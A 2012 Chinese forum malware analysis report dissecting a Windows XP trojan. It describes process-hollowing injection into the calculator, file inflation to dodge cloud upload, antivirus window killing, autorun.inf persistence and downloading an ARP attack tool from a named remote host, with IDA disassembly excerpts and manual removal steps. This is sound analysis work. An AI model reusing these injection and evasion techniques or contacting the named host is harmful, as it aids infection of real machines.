本帖最后由 willJ 于 2012-5-27 17:58 编辑
基本信息 报告名称:分析一注入型病毒 作者:willJ 样本类型:注入,下载 样本文件MD5 校验值:86878fbe95abf414a976350270d6680f 壳信息:无壳 可能受到威胁的系统:win xp 已知检测名称:Trojan.Win32.InjectRun.a 简介 本木马通过傀儡进程,自增大,关闭杀毒等操作达到免杀效果,并且从网上下载arp工具程序对局域网进行Arp工具,同时不让用户打开磁盘。 被感染系统及网络症状 链接远程主机,下载arp攻击程序,无法打开磁盘,磁盘目录下会被释放autorun.inf,磁盘的.GHO文件会被删除。 详细分析/功能介绍 1.初始化分析 首先判断是不是在%systemroot%目录下面,如果不在就以svchost.exe名拷贝到%systemroot%下面。 .text:0040F050 E8 98 FC FF FF call sub_40ECED
这个模块打开%systemroot%svchost.exe,向其末尾写入杂乱的数据,导致其体积由以前的176kb增大到50.1mb,这个也是以前一种防云上传的方法吧。 .text:0040F069 E8 69 F8 FF FF call sub_40E8D7
这个模块通过打开计算器程序,将代码注入计算器,作为傀儡进程来躲避被杀。 2.主要功能分析 这样就完成了病毒的初始化操作,我们继续去分析%systemroot%scvhost.exe。 1. 注册表操作: 打开HKEY_LOCAL_MACHINE下面的SOFTWARE\Classes\.386\ 打开HKEY_LOCAL_MACHINE下面的SOFTWARE\Microsoft\Windows\CurrentVersion\Run 以Thunder为名称将%system%svchost.exe关联起来达到自启动的效果。 2. 网络连接行为: 连接mujiaju.oicp.net 1345 远程下载arp工具软件,并命名为wincap.exe运行 3. 文件操作: 在每个盘下面创建了autorun.inf,达到打开盘的时候运行指向的程序: recycle.{645FF040-5081-101B-9F08-00AA002F954E}\GHOSTBAK.exe 自我复制到系统目下,重命名为“\\Tasks\\绿化.bat” 搜索*.GHO文件,并且删除之。 不断的把自己从内存中写入磁盘。 4. 自身有一个提权操作,便于注入计算器。 5. 将会检测有没有360 NOD kasperskymcafee avast Anti等杀毒窗口,如果有将会立即向窗口发送VM_CLOSE,VM_DESTROY以及模拟键盘回车。
6. 当用户打开磁盘,磁盘将马上关闭弹出一个对话框: 也是通过向窗口发送销毁消息并弹框达到的。 技术热点及总结 1. 远程注入,让计算器作为傀儡进程: .text:0040E959 50 push eax ; lpStartupInfo
.text:0040E95A 53 push ebx ; lpCurrentDirectory
.text:0040E95B 53 push ebx ; lpEnvironment
.text:0040E95C 6A 04 push 4 ; dwCreationFlags
.text:0040E95E 6A 01 push 1 ; bInheritHandles
.text:0040E960 53 push ebx ; lpThreadAttributes
.text:0040E961 8D 85 B0 FA FF FF lea eax, [ebp+CommandLine]
.text:0040E967 53 push ebx ; lpProcessAttributes
.text:0040E968 50 push eax ; lpCommandLine
.text:0040E969 53 push ebx ; lpApplicationName
.text:0040E96A FF 15 C0 91 41 00 call ds:CreateProcessW ; 以挂起的方式创建一个计算器的进程
……
.text:0040EA65 53 push ebx ; lpNumberOfBytesWritten
.text:0040EA66 8D 45 C8 lea eax, [ebp+var_38]
.text:0040EA69 6A 1C push 1Ch ; nSize
.text:0040EA6B 50 push eax ; lpBuffer
.text:0040EA6C FF B5 7C FD FF FF push [ebp+Context._Esp] ; lpBaseAddress
.text:0040EA72 89 5D DC mov [ebp+var_24], ebx
.text:0040EA75 89 5D E0 mov [ebp+var_20], ebx
.text:0040EA78 FF 75 F0 push [ebp+ProcessInformation.hProcess] ; hProcess
.text:0040EA7B FF D6 call esi ; WriteProcessMemory ; 通过远程代码注入将恶意代码本身注入计算器
2. 体积增大: .text:0040ED9D 8D 45 F4 lea eax, [ebp+var_C]
.text:0040EDA0 53 push ebx
.text:0040EDA1 50 push eax
.text:0040EDA2 8D 7D DC lea edi, [ebp+var_24]
.text:0040EDA5 83 C9 FF or ecx, 0FFFFFFFFh
.text:0040EDA8 33 C0 xor eax, eax
.text:0040EDAA F2 AE repne scasb
.text:0040EDAC F7 D1 not ecx
.text:0040EDAE 49 dec ecx
.text:0040EDAF 8D 45 DC lea eax, [ebp+var_24]
.text:0040EDB2 51 push ecx
.text:0040EDB3 50 push eax
.text:0040EDB4 56 push esi
.text:0040EDB5 FF 15 BC BD 42 00 call WriteFile ;写入数据
.text:0040EDBB 8B 7D FC mov edi, [ebp+var_4]
.text:0040EDBE 8D 45 F4 lea eax, [ebp+var_C]
.text:0040EDC1 53 push ebx
.text:0040EDC2 50 push eax
.text:0040EDC3 83 C9 FF or ecx, 0FFFFFFFFh
.text:0040EDC6 33 C0 xor eax, eax
.text:0040EDC8 F2 AE repne scasb
.text:0040EDCA F7 D1 not ecx
.text:0040EDCC 49 dec ecx
.text:0040EDCD 51 push ecx
.text:0040EDCE FF 75 FC push [ebp+var_4]
.text:0040EDD1 56 push esi
.text:0040EDD2 FF 15 BC BD 42 00 call WriteFile ;写入数据
.text:0040EDD8 FF 4D F8 dec [ebp+var_8]
.text:0040EDDB 75 C0 jnz short loc_40ED9D ; 反复将数据写入%system%svchost.exe文件中,直到体积达到50.1MB
3. 关闭杀毒窗口以及磁盘文件窗口: .text:0040D708 8B 3D 24 93 41 00 mov edi, ds:PostMessageA
.text:0040D70E 53 push ebx ; lParam
.text:0040D70F 53 push ebx ; wParam
.text:0040D710 6A 02 push 2 ; Msg
.text:0040D712 FF 75 C4 push [ebp+var_3C] ; hWnd
.text:0040D715 FF D7 call edi ; PostMessageA ; 发送VM_DESTROY消息过去
.text:0040D717 53 push ebx ; lParam
.text:0040D718 53 push ebx ; wParam
.text:0040D719 6A 10 push 10h ; Msg
.text:0040D71B FF 75 FC push [ebp+hWnd] ; hWnd
.text:0040D71E FF D7 call edi ; PostMessageA ; 发送VM_CLOSE消息过去
.text:0040D720 53 push ebx ; lParam
.text:0040D721 53 push ebx ; wParam
.text:0040D722 6A 10 push 10h ; Msg
.text:0040D724 FF 75 C4 push [ebp+var_3C] ; hWnd
.text:0040D727 FF D7 call edi ; PostMessageA ; 发送VM_CLOSE消息过去
.text:0040D729 53 push ebx ; lParam
.text:0040D72A 53 push ebx ; wParam
.text:0040D72B 6A 02 push 2 ; Msg
.text:0040D72D FF 75 FC push [ebp+hWnd] ; hWnd
.text:0040D730 FF D7 call edi ; PostMessageA ; 发送VM_DESTROY消息过去
.text:0040D732 68 20 5A 42 00 push offset aKeybd_event ; 模拟键盘回车键消息发送给窗口
.text:0040D737 68 2C 5A 42 00 push offset aUser32_dll_8 ; "USER32.dll"
.text:0040D73C FF 15 3C 91 41 00 call ds:LoadLibraryA
.text:0040D742 50 push eax ; hModule
.text:0040D743 FF 15 38 91 41 00 call ds:GetProcAddress
.text:0040D749 53 push ebx
.text:0040D74A 53 push ebx
.text:0040D74B 53 push ebx
.text:0040D74C 6A 0D push 0Dh
.text:0040D74E FF D0 call eax
.text:0040D750 6A 10 push 10h ; uType
.text:0040D752 68 38 5A 42 00 push offset Caption ; "提示"
.text:0040D757 68 C4 52 42 00 push offset Text ; "提示:您正在使用盗版软件,可能您是盗版软?...
.text:0040D75C 53 push ebx ; hWnd
.text:0040D75D FF 15 94 93 41 00 call ds:MessageBoxA :关闭了窗口弹出提示说用户软件是盗版
通过前面的一大段的判断后执行这里的关闭操作。 手工查杀方法: 1. 结束以当前用户启动svchost.exe进程。 2. 删除%system%svchost.exe程序 3. 删除HKEY_LOCAL_MACHINE下面的SOFTWARE\Microsoft\Windows\CurrentVersion\Run的Thunder键值 4. 删除每个磁盘下面的autorun.inf以及recycle.{645FF040-5081-101B-9F08-00AA002F954E}\GHOSTBAK.exe 5. 重启电脑。
解压密码:52pojie 第一次靠IDA分析,比较吃力啊,还不习惯,多半有些东西没有分析出来,还请大牛们多多指教
|